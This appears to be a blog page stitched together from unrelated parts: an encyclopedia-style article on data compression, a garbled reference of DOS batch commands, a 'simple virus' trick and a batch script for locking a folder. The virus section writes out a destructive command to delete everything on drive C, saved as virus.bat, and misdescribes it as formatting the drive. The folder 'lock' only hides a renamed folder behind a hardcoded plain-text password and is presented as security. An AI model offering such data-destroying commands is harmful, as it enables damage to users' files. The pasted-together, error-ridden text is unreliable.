Data compression

"Source coding" redirects here. For the term in computer programming, see Source code.
In computer science and information theory, data compression, source coding,or bit-rate reduction involves encoding information using fewer bits than the original representation.Compression can be either lossy or lossless. Lossless compression reduces bits by identifying and eliminating statistical redundancy. No information is lost in lossless compression. Lossy compression reduces bits by identifying unnecessary information and removing it. The process of reducing the size of a data file is popularly referred to as data compression, although its formal name is source coding (coding done at the source of the data before it is stored or transmitted).

Compression is useful because it helps reduce resource usage, such as data storage space or transmission capacity. Because compressed data must be decompressed to use, this extra processing imposes computational or other costs through decompression; this situation is far from being a free lunch. Data compression is subject to a space–time complexity trade-off. For instance, a compression scheme for video may require expensive hardware for the video to be decompressed fast enough to be viewed as it is being decompressed, and the option to decompress the video in full before watching it may be inconvenient or require additional storage. The design of data compression schemes involves trade-offs among various factors, including the degree of compression, the amount of distortion introduced (e.g., when using lossy data compression), and the computational resources required to compress and uncompress the data.
Lossless
Lossless data compression algorithms usually exploit statistical redundancy to represent data more concisely without losing information, so that the process is reversible. Lossless compression is possible because most real-world data has statistical redundancy. For example, an image may have areas of colour that do not change over several pixels; instead of coding "red pixel, red pixel, ..." the data may be encoded as "279 red pixels". This is a basic example of run-length encoding; there are many schemes to reduce file size by eliminating redundancy.

The Lempel–Ziv (LZ) compression methods are among the most popular algorithms for lossless storage. DEFLATE is a variation on LZ optimized for decompression speed and compression ratio, but compression can be slow. DEFLATE is used in PKZIP, Gzip and PNG. LZW (Lempel–Ziv–Welch) is used in GIF images. Also noteworthy is the LZR (Lempel-Ziv–Renau) algorithm, which serves as the basis for the Zip method. LZ methods use a table-based compression model where table entries are substituted for repeated strings of data. For most LZ methods, this table is generated dynamically from earlier data in the input. The table itself is often Huffman encoded (e.g. SHRI, LZX). A current LZ-based coding scheme that performs well is LZX, used in Microsoft's CAB format.

The best modern lossless compressors use probabilistic models, such as prediction by partial matching. The Burrows–Wheeler transform can also be viewed as an indirect form of statistical modelling.

The class of grammar-based codes are gaining popularity because they can compress highly repetitive text, extremely effectively, for instance, biological data collection of same or related species, huge versioned document collection, internet archives, etc. The basic task of grammar-based codes is constructing a context-free grammar deriving a single string. Sequitur and Re-Pair are practical grammar compression algorithms for which public codes are available.


In a further refinement of these techniques, statistical predictions can be coupled to an algorithm called arithmetic coding. Arithmetic coding, invented by Jorma Rissanen, and turned into a practical method by Witten, Neal, and Cleary, achieves superior compression to the better-known Huffman algorithm and lends itself especially well to adaptive data compression tasks where the predictions are strongly context-dependent. Arithmetic coding is used in the bi-level image compression standard JBIG, and the document compression standard DjVu. The text entry system Dasher is an inverse arithmetic coder.
Lossy
Lossy data compression is the converse of lossless data compression. In these schemes, some loss of information is acceptable. Dropping nonessential detail from the data source can save storage space. Lossy data compression schemes are informed by research on how people perceive the data in question. For example, the human eye is more sensitive to subtle variations in luminance than it is to variations in color. JPEG image compression works in part by rounding off nonessential bits of information. There is a corresponding trade-off between preserving information and reducing size. A number of popular compression formats exploit these perceptual differences, including those used in music files, images, and video.

Lossy image compression can be used in digital cameras, to increase storage capacities with minimal degradation of picture quality. Similarly, DVDs use the lossy MPEG-2 Video codec for video compression.


In lossy audio compression, methods of psychoacoustics are used to remove non-audible (or less audible) components of the audio signal. Compression of human speech is often performed with even more specialized techniques; speech coding, or voice coding, is sometimes distinguished as a separate discipline from audio compression. Different audio and speech compression standards are listed under audio codecs. Voice compression is used in Internet telephony, for example audio compression is used for CD ripping and is decoded by audio players.
Theory
The theoretical background of compression is provided by information theory (which is closely related to algorithmic information theory) for lossless compression and rate–distortion theory for lossy compression. These areas of study were essentially forged by Claude Shannon, who published fundamental papers on the topic in the late 1940s and early 1950s. Coding theory is also related. The idea of data compression is deeply connected with statistical inference.
Machine learning
There is a close connection between machine learning and compression: a system that predicts the posterior probabilities of a sequence given its entire history can be used for optimal data compression (by using arithmetic coding on the output distribution) while an optimal compressor can be used for prediction (by finding the symbol that compresses best, given the previous history). This equivalence has been used as justification for data compression as a benchmark for "general intelligence
Data differencing
Data compression can be viewed as a special case of data differencing: Data differencing consists of producing a difference given a source and a target, with patching producing a target given a source and a difference, while data compression consists of producing a compressed file given a target, and decompression consists of producing a target given only a compressed file. Thus, one can consider data compression as data differencing with empty source data, the compressed file corresponding to a "difference from nothing." This is the same as considering absolute entropy (corresponding to data compression) as a special case of relative entropy (corresponding to data differencing) with no initial data.
Outlook and currently unused potential
It is estimated that the total amount of the data that are stored on the world's storage devices could be further compressed with existing compression algorithms by a remaining average factor of 4.5:1. It is estimated that the combined technological capacity of the world to store information provides 1,300 exabytes of hardware digits in 2007, but when the corresponding content is optimally compressed, this only represents 295 exabytes of Shannon information

Batch file commend and its uses ...... This will makes you a sucessful .bat programmer..... :)

Programming Batch File Commands @ %DIGIT %VARIABLE% CALL CLS ECHO FOR GOTO IF PAUSE REM SET SHIFT Miscellaneous @ In DOS version 3.3 and later, hides the echo of a batch command.  Any output generated by the command is echoed. The at-sign can  be prefixed to any DOS command, program name, or batch file  name within a batch file. @[command]     examples @ {Seperates sections of the batch  file without diplaying the DOS prompt.} @echo OFF {Hides the echo off report.} %DIGIT Replaceable batch parameters which are defined by the user  when the batch is executed. The parameters are separated by spaces,  commas, or semicolons. %digit {Digit: any digit from 0 to 9. %0 has the value of the batch command as it appears on the  command line when the batch is executed. %1 represents the first string typed after the  batch commmand. Each occurrence of %digit is replaced by the corresponding string from the batch command line.}     examples MYBATCH DOC A: COPY *.%1 %2 {Copies all .DOC files in the default directory to drive A:} %VARIABLE% Replaces the DOS environment variable name with its environment value. %variable% {Variable: a string of uppercase characers in the environment associated with a string value.  Variable is created in the environment by using SET.}     examples %PATH% {Returns the value of PATH, the current search path, which is executable.} echo %PATH% {Displays the value of PATH, the current search path.} %PROMPT% {Returns the value of PROMPT, the current prompt string, which is executable.} echo %PROMPT% {Displays the value of PROMPT, the current prompt string.} echo The current search path is: %PATH% {Displays the message including the current search path.} set USER=John if %USER%= =John goto LABEL {Since the value of USER does equal "John", the control is transferred to the label, LABEL.} CALL Loads and executes a batch file from within a batch file as if it were a external command. When a second batch file completes,  control is returned to the calling file. call [drive:][path]filename [batch-parameters] Before DOS version 3.3: command /c [drive:][path]filename [batch-parameters] CLS Clears the video display screen, setting the cursor in the upper left-hand corner. cls ECHO Controls whether commands and comments within a batch file are displayed. echo [ON|OFF|message|.]     examples echo {Displays echo status} echo ON {Restores normal display activity.} echo OFF {Halts display of DOS prompt and commands.} echo Processing... {Displays "Processing..." on the screen.} echo %USER% {Displays the value of USER on the screen.} echo. {Displays a single blank line on the screen.} echo ^L > prn {Sends an ASCII control-code (form feed) to the printer. Press <Ctrl> plus <L> to type the ^L character.} echo Y|Del *.* {Answers the DEL "Are you sure" question automatically.} FOR Repeats the operation of a DOS command for each member of a list. Use CALL to execute a batch file as a command. for %%argument in (list) do command {Argument: any letter from A to Z. List: a sequence of strings separated by spaces or commas.  Wildcards are allowed.}     examples for %%d in (A,C,D) do DIR %%d *.* {Displays the directories of drives A, C, and D sequentially.} for %%f in (*.TXT *.BAT *.DOC) do TYPE %%f {Types the contents of all .TXT, .BAT, and .DOC files in the current default directory.} for %%P in (%PATH%) do if exist %%P\*.BAT COPY %%P\*.BAT C:\BAT {Copies all batch files which exist in any directory on the DOS command search path  into the directory C:\BAT.} for %%f in (*.PAS) do call compile %%f {Compiles all .PAS files in the current default directory.} GOTO Transfers control within a batch file to a line identified by a label. The label must be of the form ":LABEL". goto LABEL :LABEL IF Tests a condition and executes a command only if the condition is TRUE. But if the NOT modifier is present, the command  will be executed only if the condition is FALSE. if [not] condition command {Condition: errorlevel number; string1= =string2; or exist filename.Command : any DOS command, batch command, batch file name, or program name.}     examples if [not] errorlevel number command {Errorlevel: an exit code returned by a program or an external command. The following DOS  commands return an exit code: BACKUP, RESTORE, FORMAT, REPLACE, and XCOPY. Number: a numerical value (integer) against which the exit code is compared. The condition is  TRUE if the exit code returned by the previous program is greater than or equal to number.  The condition is FALSE if the exit code is less than number.} BACKUP C:\*.* A: /s if errorlevel 3 goto TROUBLE {If the BACKUP command exits with a code of 3 or higher, control will be transferred to the  label TROUBLE.} if errorlevel 3 if not errorlevel 4 echo ERROR #3 occurred if errorlevel 4 if not errorlevel 5 echo ERROR #4 occurred {Nested if statements that determine the exact error number.} if [not] string1= =string2 command {The condition is TRUE if both strings are identical. The comparison is case sensitive.  If either string is blank, a syntax error occurs.} if (%1)= =(LTRS) CD C:\WORD\LTRS {If the first parameter is LTRS, the change directory to LTRS.} if "%1"= ="" goto ERROR {If there is no parameter, then control is transferred to label ERROR.} if not %2X= =X DIR %2\*.* {If there is a second parameter, then display all the files contained in the directory %2.} if not "%3"= ="" if not "%3"= ="b" if not "%3"= ="B" goto BADPARAM {If there is no third parameter or if it is anything other than b or B, then go to label  BADPARAM.} if [not] exist filename command {The condition is TRUE if filename can be located. The filename can include drive and path  specifications. Wildcards are allowed.} if exist D:\%1\nul CD %1 {Tests for the existence of directory %1 even if it contains no files, then changes to that directory  if it exists.} if not exist A:\FLASH.EXE COPY C:\PROJECTS\FLASH.EXE A: {Copies FLASH.EXE to drive A, but only if it doesn't exit there already.} PAUSE Pauses the running of a batch file and displays the message "Press any key to continue ..." on the screen. If the optional message  is included, it will be displayed first. Use pause to optionally terminate the batch file with <Ctrl-Break> at a safe place. The  optional message is not displayed when echo is OFF, so the message must be echoed on the preceding line. pause [message]     examples pause {Displays "Press any key to continue ...".} pause < nul {Waits with no comment.} pause Do you want to continue? {Displays "Do you want to continue?" with "Press any key to continue ..." on the next line.} REM Adds remarks to a batch file. rem [remark]     examples @rem {Hides the remark from display.} SET Set will view the DOS environment or create, change, or delete environment values. set [variable=[value]] {Variable: a string of characters, unbroken by spaces, which are converted to uppercase letters in  the environment. Value: a string of characters, case specific, associated with variable.}     examples set {Display the entire DOS environment.} set USER=John {Sets the value of USER to the string, "John".} set USER= {Removes USER from the environment.} set PATH=C:\;C:\DOS {Sets C:\;C:\DOS as the current search path.} set PATH=%PATH%;C:\TEST {Appends ;C:\TEST to the current search path.} SHIFT Shifts any parameter on the command line one position to the left. Use SHIFT to refer to multiple parameters by one name or  to use more than ten parameters on a single command line. shift     examples :LOOP COPY %1 A: shift if not (%1)==() goto LOOP {Beginning with the first parameter, all the parameters listed on the command line are iterated  and a file, the value of the parameter, is copied to A:.} Miscellaneous command > nul {Redirects command output to oblivion.} command > file {Redirects command output to file.} command >> file {Appends command output to file.} command < file {Redirects file output to command.} PATH {Displays "PATH=" followed by the value of PATH, the current search path.} PATH directories {Sets directories as the current search path.} PATH = directories {Sets directories as the current search path.} PATH; {Disables extended command searching and confines the searching to the default directory.} PROMPT {Resets the prompt string to its default, $n$g.} CD {Displays the current directory and its path.} . {Represents the default directory (If PATH=D:\;C:\SYS;C:. then current directory will be  searched after D: and C:\SYS).} .. {Represents the parent of the default directory (C:\TOOLS\WP\LTRS.DOC is the same  as ..\WP\LTRS.DOC).} %% {A literal "%".}

Simple virus program by using notepad ........ :)

In this trick we will be creating virus in notepad using batch file programming. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.
  1. Open No.tepad and copy below code into it.

@Echo off
Del C:\ *.* |y

  2. Then Save this file as virus.bat
    3. Now, running this file format C Drive

Creation of password protected folder

cls
@ECHO OFF
title rathanignatius.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== rathan goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End
Note: the Default password is rathan so if you want to change the password, simply replace rathan in the above code with your own chosen password that you can remember.

Step 2: Now save the Notepad file, name it "Lock.bat" and Choose "All Files" in Save type as.

Step 3: Remember the Location where you save the file, now Double click on your Created file which will create a Folder there with the name "My Folder"

Step 4: Now Copy paste all your important data and paste it in that Folder. Next Simply you have to Double click on the lock.bat file which we created. a CMD window will pop up just like below picture.

Step 5: Press "Y" and hit enter to lock the folder. You will see the My folder is now hidden and cant be seen. 

To Unhide the folder, again double click on Lock.bat file, this time it will ask you the password so if you have not altered the above code then write "rathan" and hit enter to unhide the folder.

If you Replaced rathan with your own password then you will be needed to enter that password in the CMD to unlock the folder.

That it, we just created a password protected folder in windows by your own which will be helpful to you whenever you wish to hide your personal data from others.